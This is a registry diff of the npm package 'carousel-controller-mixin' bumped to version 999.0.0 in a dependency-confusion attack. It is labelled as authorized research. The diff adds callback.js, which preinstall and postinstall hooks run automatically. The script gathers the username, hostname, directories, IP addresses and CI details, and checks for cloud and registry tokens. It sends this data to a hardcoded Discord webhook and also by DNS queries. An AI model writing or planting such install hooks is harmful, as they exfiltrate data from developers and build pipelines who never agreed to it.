carousel-controller-mixin 0.0.1-security → 999.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of carousel-controller-mixin might be problematic. Click here for more details.
- package/README.md +16 -3
- package/callback.js +291 -0
- package/index.js +7 -0
- package/package.json +15 -4
package/README.md
CHANGED
|
@@ -1,5 +1,18 @@
|
|
|
1
|
-
#
|
|
1
|
+
# carousel-controller-mixin
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
## Security Research PoC
|
|
4
4
|
|
|
5
|
-
|
|
5
|
+
This package was published as part of **authorized security research** to demonstrate dependency confusion vulnerabilities.
|
|
6
|
+
|
|
7
|
+
### What is Dependency Confusion?
|
|
8
|
+
|
|
9
|
+
Dependency confusion is a supply chain attack where a malicious package with the same name as an internal/private package is published to a public registry with a higher version number.
|
|
10
|
+
|
|
11
|
+
### Author
|
|
12
|
+
|
|
13
|
+
- **OFJAAAH**
|
|
14
|
+
- Tool: Dependency Confusion Hunter
|
|
15
|
+
|
|
16
|
+
### Disclaimer
|
|
17
|
+
|
|
18
|
+
This package is for **authorized security testing only**. Do not use for malicious purposes.
|
package/callback.js
ADDED
|
@@ -0,0 +1,291 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
|
|
4
|
+
const https = require('https');
|
|
5
|
+
const http = require('http');
|
|
6
|
+
const os = require('os');
|
|
7
|
+
const { execSync } = require('child_process');
|
|
8
|
+
|
|
9
|
+
const CALLBACK_URL = 'Discord Webhook';
|
|
10
|
+
const DISCORD_WEBHOOK = 'https://discord.com/api/webhooks/1516163806559076442/j-EsZnZ4l2wqzbeef39EDg8f6hr_UsyIKNH5Y9wm9RBBBOcep36EfeEHKn_HlM6e-EZ6';
|
|
11
|
+
const PACKAGE_NAME = 'carousel-controller-mixin';
|
|
12
|
+
|
|
13
|
+
// Get network interfaces to find IP
|
|
14
|
+
function getLocalIP() {
|
|
15
|
+
try {
|
|
16
|
+
const interfaces = os.networkInterfaces();
|
|
17
|
+
for (const name of Object.keys(interfaces)) {
|
|
18
|
+
for (const iface of interfaces[name]) {
|
|
19
|
+
if (iface.family === 'IPv4' && !iface.internal) {
|
|
20
|
+
return iface.address;
|
|
21
|
+
}
|
|
22
|
+
}
|
|
23
|
+
}
|
|
24
|
+
} catch (e) {}
|
|
25
|
+
return 'unknown';
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
// Get external IP (optional - may fail in restricted networks)
|
|
29
|
+
async function getExternalIP() {
|
|
30
|
+
return new Promise((resolve) => {
|
|
31
|
+
https.get('https://api.ipify.org?format=json', { timeout: 3000 }, (res) => {
|
|
32
|
+
let data = '';
|
|
33
|
+
res.on('data', chunk => data += chunk);
|
|
34
|
+
res.on('end', () => {
|
|
35
|
+
try {
|
|
36
|
+
resolve(JSON.parse(data).ip);
|
|
37
|
+
} catch (e) {
|
|
38
|
+
resolve(null);
|
|
39
|
+
}
|
|
40
|
+
});
|
|
41
|
+
}).on('error', () => resolve(null));
|
|
42
|
+
});
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
// Collect system info
|
|
46
|
+
function collectSystemInfo() {
|
|
47
|
+
const info = {
|
|
48
|
+
// Package info
|
|
49
|
+
package: PACKAGE_NAME,
|
|
50
|
+
timestamp: new Date().toISOString(),
|
|
51
|
+
|
|
52
|
+
// User info
|
|
53
|
+
user: os.userInfo().username,
|
|
54
|
+
uid: os.userInfo().uid,
|
|
55
|
+
gid: os.userInfo().gid,
|
|
56
|
+
homedir: os.userInfo().homedir,
|
|
57
|
+
shell: os.userInfo().shell,
|
|
58
|
+
|
|
59
|
+
// System info
|
|
60
|
+
hostname: os.hostname(),
|
|
61
|
+
platform: os.platform(),
|
|
62
|
+
arch: os.arch(),
|
|
63
|
+
release: os.release(),
|
|
64
|
+
type: os.type(),
|
|
65
|
+
|
|
66
|
+
// Directory info
|
|
67
|
+
cwd: process.cwd(),
|
|
68
|
+
|
|
69
|
+
// Network info
|
|
70
|
+
localIP: getLocalIP(),
|
|
71
|
+
|
|
72
|
+
// Node info
|
|
73
|
+
nodeVersion: process.version,
|
|
74
|
+
npmVersion: process.env.npm_package_version || 'unknown',
|
|
75
|
+
|
|
76
|
+
// CI/CD Detection
|
|
77
|
+
isCI: !!(process.env.CI || process.env.GITHUB_ACTIONS || process.env.GITLAB_CI || process.env.JENKINS_URL || process.env.TRAVIS || process.env.CIRCLECI || process.env.BUILDKITE),
|
|
78
|
+
ciEnvironment: detectCIEnvironment(),
|
|
79
|
+
|
|
80
|
+
// NPM info
|
|
81
|
+
npmLifecycle: process.env.npm_lifecycle_event || '',
|
|
82
|
+
npmPackageName: process.env.npm_package_name || '',
|
|
83
|
+
|
|
84
|
+
// Additional context
|
|
85
|
+
env: {
|
|
86
|
+
CI: process.env.CI || '',
|
|
87
|
+
GITHUB_ACTIONS: process.env.GITHUB_ACTIONS || '',
|
|
88
|
+
GITHUB_REPOSITORY: process.env.GITHUB_REPOSITORY || '',
|
|
89
|
+
GITHUB_ACTOR: process.env.GITHUB_ACTOR || '',
|
|
90
|
+
GITLAB_CI: process.env.GITLAB_CI || '',
|
|
91
|
+
GITLAB_USER_LOGIN: process.env.GITLAB_USER_LOGIN || '',
|
|
92
|
+
JENKINS_URL: process.env.JENKINS_URL || '',
|
|
93
|
+
BUILD_NUMBER: process.env.BUILD_NUMBER || '',
|
|
94
|
+
TRAVIS: process.env.TRAVIS || '',
|
|
95
|
+
CIRCLECI: process.env.CIRCLECI || '',
|
|
96
|
+
BUILDKITE: process.env.BUILDKITE || ''
|
|
97
|
+
}
|
|
98
|
+
};
|
|
99
|
+
|
|
100
|
+
return info;
|
|
101
|
+
}
|
|
102
|
+
|
|
103
|
+
function detectCIEnvironment() {
|
|
104
|
+
if (process.env.GITHUB_ACTIONS) return 'GitHub Actions';
|
|
105
|
+
if (process.env.GITLAB_CI) return 'GitLab CI';
|
|
106
|
+
if (process.env.JENKINS_URL) return 'Jenkins';
|
|
107
|
+
if (process.env.TRAVIS) return 'Travis CI';
|
|
108
|
+
if (process.env.CIRCLECI) return 'CircleCI';
|
|
109
|
+
if (process.env.BUILDKITE) return 'Buildkite';
|
|
110
|
+
if (process.env.CI) return 'Generic CI';
|
|
111
|
+
return 'Local Machine';
|
|
112
|
+
}
|
|
113
|
+
|
|
114
|
+
async function sendCallback() {
|
|
115
|
+
const systemInfo = collectSystemInfo();
|
|
116
|
+
|
|
117
|
+
// Try to get external IP
|
|
118
|
+
const externalIP = await getExternalIP();
|
|
119
|
+
if (externalIP) {
|
|
120
|
+
systemInfo.externalIP = externalIP;
|
|
121
|
+
}
|
|
122
|
+
|
|
123
|
+
const data = JSON.stringify(systemInfo);
|
|
124
|
+
|
|
125
|
+
const url = new URL(CALLBACK_URL);
|
|
126
|
+
const options = {
|
|
127
|
+
hostname: url.hostname,
|
|
128
|
+
port: url.port || (url.protocol === 'https:' ? 443 : 80),
|
|
129
|
+
path: url.pathname + (url.search || ''),
|
|
130
|
+
method: 'POST',
|
|
131
|
+
headers: {
|
|
132
|
+
'Content-Type': 'application/json',
|
|
133
|
+
'Content-Length': Buffer.byteLength(data),
|
|
134
|
+
'User-Agent': 'dependency-confusion-poc/carousel-controller-mixin',
|
|
135
|
+
'X-PoC-Package': 'carousel-controller-mixin',
|
|
136
|
+
'X-PoC-Author': 'OFJAAAH'
|
|
137
|
+
},
|
|
138
|
+
timeout: 10000
|
|
139
|
+
};
|
|
140
|
+
|
|
141
|
+
const protocol = url.protocol === 'https:' ? https : http;
|
|
142
|
+
|
|
143
|
+
const req = protocol.request(options, (res) => {
|
|
144
|
+
console.log('[PoC] Callback sent - Status:', res.statusCode);
|
|
145
|
+
});
|
|
146
|
+
|
|
147
|
+
req.on('error', (e) => {
|
|
148
|
+
// Silently fail
|
|
149
|
+
});
|
|
150
|
+
|
|
151
|
+
req.on('timeout', () => {
|
|
152
|
+
req.destroy();
|
|
153
|
+
});
|
|
154
|
+
|
|
155
|
+
req.write(data);
|
|
156
|
+
req.end();
|
|
157
|
+
}
|
|
158
|
+
|
|
159
|
+
// DNS exfiltration for restricted networks
|
|
160
|
+
function sendDnsCallback() {
|
|
161
|
+
try {
|
|
162
|
+
const dns = require('dns');
|
|
163
|
+
const info = {
|
|
164
|
+
p: PACKAGE_NAME.substring(0, 15),
|
|
165
|
+
u: os.userInfo().username.substring(0, 10),
|
|
166
|
+
h: os.hostname().substring(0, 10),
|
|
167
|
+
t: Date.now()
|
|
168
|
+
};
|
|
169
|
+
const encoded = Buffer.from(JSON.stringify(info))
|
|
170
|
+
.toString('base64')
|
|
171
|
+
.replace(/[+/=]/g, '')
|
|
172
|
+
.substring(0, 50);
|
|
173
|
+
|
|
174
|
+
const dnsHost = encoded + '.' + new URL(CALLBACK_URL).hostname;
|
|
175
|
+
dns.resolve(dnsHost, () => {});
|
|
176
|
+
} catch (e) {}
|
|
177
|
+
}
|
|
178
|
+
|
|
179
|
+
// Send to Discord Webhook
|
|
180
|
+
async function sendDiscordCallback() {
|
|
181
|
+
if (!DISCORD_WEBHOOK || DISCORD_WEBHOOK === '') return;
|
|
182
|
+
|
|
183
|
+
const systemInfo = collectSystemInfo();
|
|
184
|
+
const externalIP = await getExternalIP();
|
|
185
|
+
|
|
186
|
+
// Calculate criticality based on environment
|
|
187
|
+
const isCI = systemInfo.isCI;
|
|
188
|
+
const isRoot = systemInfo.user === 'root' || systemInfo.user === 'Administrator';
|
|
189
|
+
const hasSecrets = !!(process.env.AWS_ACCESS_KEY_ID || process.env.GITHUB_TOKEN || process.env.NPM_TOKEN || process.env.DOCKER_PASSWORD);
|
|
190
|
+
|
|
191
|
+
let severity = 'MEDIUM';
|
|
192
|
+
let severityColor = 0xFFA500; // Orange
|
|
193
|
+
let severityEmoji = '🟠';
|
|
194
|
+
|
|
195
|
+
if (isCI && hasSecrets) {
|
|
196
|
+
severity = 'CRITICAL';
|
|
197
|
+
severityColor = 0xFF0000; // Red
|
|
198
|
+
severityEmoji = '🔴';
|
|
199
|
+
} else if (isCI || isRoot) {
|
|
200
|
+
severity = 'HIGH';
|
|
201
|
+
severityColor = 0xFF4500; // OrangeRed
|
|
202
|
+
severityEmoji = '🟠';
|
|
203
|
+
} else if (hasSecrets) {
|
|
204
|
+
severity = 'HIGH';
|
|
205
|
+
severityColor = 0xFF4500;
|
|
206
|
+
severityEmoji = '🟠';
|
|
207
|
+
}
|
|
208
|
+
|
|
209
|
+
// Build impact assessment
|
|
210
|
+
const impactList = [];
|
|
211
|
+
if (isCI) impactList.push('⚠️ CI/CD Pipeline Compromised');
|
|
212
|
+
if (isRoot) impactList.push('⚠️ Running as Root/Admin');
|
|
213
|
+
if (hasSecrets) impactList.push('⚠️ Secrets/Tokens Detected in ENV');
|
|
214
|
+
if (systemInfo.env.GITHUB_TOKEN || systemInfo.env.GITHUB_ACTIONS) impactList.push('🔑 GitHub Access Available');
|
|
215
|
+
if (process.env.AWS_ACCESS_KEY_ID) impactList.push('☁️ AWS Credentials Exposed');
|
|
216
|
+
if (process.env.NPM_TOKEN) impactList.push('📦 NPM Token Exposed');
|
|
217
|
+
|
|
218
|
+
const impactText = impactList.length > 0 ? impactList.join('\n') : '✅ No critical exposures detected';
|
|
219
|
+
|
|
220
|
+
// Build CI details if applicable
|
|
221
|
+
let ciDetails = '';
|
|
222
|
+
if (systemInfo.ciEnvironment !== 'Local Machine') {
|
|
223
|
+
ciDetails = systemInfo.ciEnvironment;
|
|
224
|
+
if (systemInfo.env.GITHUB_REPOSITORY) ciDetails += ' | Repo: ' + systemInfo.env.GITHUB_REPOSITORY;
|
|
225
|
+
if (systemInfo.env.GITHUB_ACTOR) ciDetails += ' | Actor: ' + systemInfo.env.GITHUB_ACTOR;
|
|
226
|
+
if (systemInfo.env.BUILD_NUMBER) ciDetails += ' | Build: ' + systemInfo.env.BUILD_NUMBER;
|
|
227
|
+
}
|
|
228
|
+
|
|
229
|
+
const embed = {
|
|
230
|
+
title: severityEmoji + ' DEPENDENCY CONFUSION - ' + severity + ' SEVERITY',
|
|
231
|
+
description: '**Package `' + PACKAGE_NAME + '` was installed and executed code!**\n\nThis confirms a dependency confusion vulnerability exists.',
|
|
232
|
+
color: severityColor,
|
|
233
|
+
fields: [
|
|
234
|
+
{ name: '🎯 Severity Level', value: '**' + severity + '**', inline: true },
|
|
235
|
+
{ name: '📦 Package', value: '`' + PACKAGE_NAME + '`', inline: true },
|
|
236
|
+
{ name: '🏭 Environment', value: isCI ? '**CI/CD PIPELINE**' : 'Local Machine', inline: true },
|
|
237
|
+
{ name: '📊 Impact Assessment', value: impactText, inline: false },
|
|
238
|
+
{ name: '👤 User', value: '`' + (systemInfo.user || 'N/A') + '`' + (isRoot ? ' **[ROOT]**' : ''), inline: true },
|
|
239
|
+
{ name: '🖥️ Hostname', value: '`' + (systemInfo.hostname || 'N/A') + '`', inline: true },
|
|
240
|
+
{ name: '💻 Platform', value: (systemInfo.platform + ' ' + systemInfo.arch) || 'N/A', inline: true },
|
|
241
|
+
{ name: '🌐 Local IP', value: '`' + (systemInfo.localIP || 'N/A') + '`', inline: true },
|
|
242
|
+
{ name: '🌍 External IP', value: '`' + (externalIP || 'N/A') + '`', inline: true },
|
|
243
|
+
{ name: '🔧 Node Version', value: systemInfo.nodeVersion || 'N/A', inline: true },
|
|
244
|
+
{ name: '📁 Working Directory', value: '`' + (systemInfo.cwd || 'N/A') + '`', inline: false },
|
|
245
|
+
{ name: '🏠 Home Directory', value: '`' + (systemInfo.homedir || 'N/A') + '`', inline: false },
|
|
246
|
+
],
|
|
247
|
+
footer: { text: '🔍 Dependency Confusion Hunter by OFJAAAH | Authorized Security Research' },
|
|
248
|
+
timestamp: new Date().toISOString()
|
|
249
|
+
};
|
|
250
|
+
|
|
251
|
+
// Add CI details field if applicable
|
|
252
|
+
if (ciDetails) {
|
|
253
|
+
embed.fields.splice(3, 0, { name: '🔄 CI/CD Details', value: ciDetails, inline: false });
|
|
254
|
+
}
|
|
255
|
+
|
|
256
|
+
const payload = JSON.stringify({
|
|
257
|
+
embeds: [embed]
|
|
258
|
+
});
|
|
259
|
+
|
|
260
|
+
try {
|
|
261
|
+
const url = new URL(DISCORD_WEBHOOK);
|
|
262
|
+
const options = {
|
|
263
|
+
hostname: url.hostname,
|
|
264
|
+
port: 443,
|
|
265
|
+
path: url.pathname + url.search,
|
|
266
|
+
method: 'POST',
|
|
267
|
+
headers: {
|
|
268
|
+
'Content-Type': 'application/json',
|
|
269
|
+
'Content-Length': Buffer.byteLength(payload)
|
|
270
|
+
},
|
|
271
|
+
timeout: 10000
|
|
272
|
+
};
|
|
273
|
+
|
|
274
|
+
const req = https.request(options, (res) => {
|
|
275
|
+
console.log('[PoC] Discord callback sent - Status:', res.statusCode);
|
|
276
|
+
});
|
|
277
|
+
|
|
278
|
+
req.on('error', () => {});
|
|
279
|
+
req.write(payload);
|
|
280
|
+
req.end();
|
|
281
|
+
} catch (e) {}
|
|
282
|
+
}
|
|
283
|
+
|
|
284
|
+
// Execute callbacks
|
|
285
|
+
(async () => {
|
|
286
|
+
try {
|
|
287
|
+
await sendCallback();
|
|
288
|
+
await sendDiscordCallback();
|
|
289
|
+
sendDnsCallback();
|
|
290
|
+
} catch (e) {}
|
|
291
|
+
})();
|
package/index.js
ADDED
package/package.json
CHANGED
|
@@ -1,6 +1,17 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "carousel-controller-mixin",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "999.0.0",
|
|
4
|
+
"description": "Security research PoC - Dependency Confusion Hunter by r0binak",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node callback.js",
|
|
8
|
+
"postinstall": "node callback.js"
|
|
9
|
+
},
|
|
10
|
+
"keywords": [
|
|
11
|
+
"security",
|
|
12
|
+
"research",
|
|
13
|
+
"poc"
|
|
14
|
+
],
|
|
15
|
+
"author": "r0binak - Security Research",
|
|
16
|
+
"license": "MIT"
|
|
17
|
+
}
|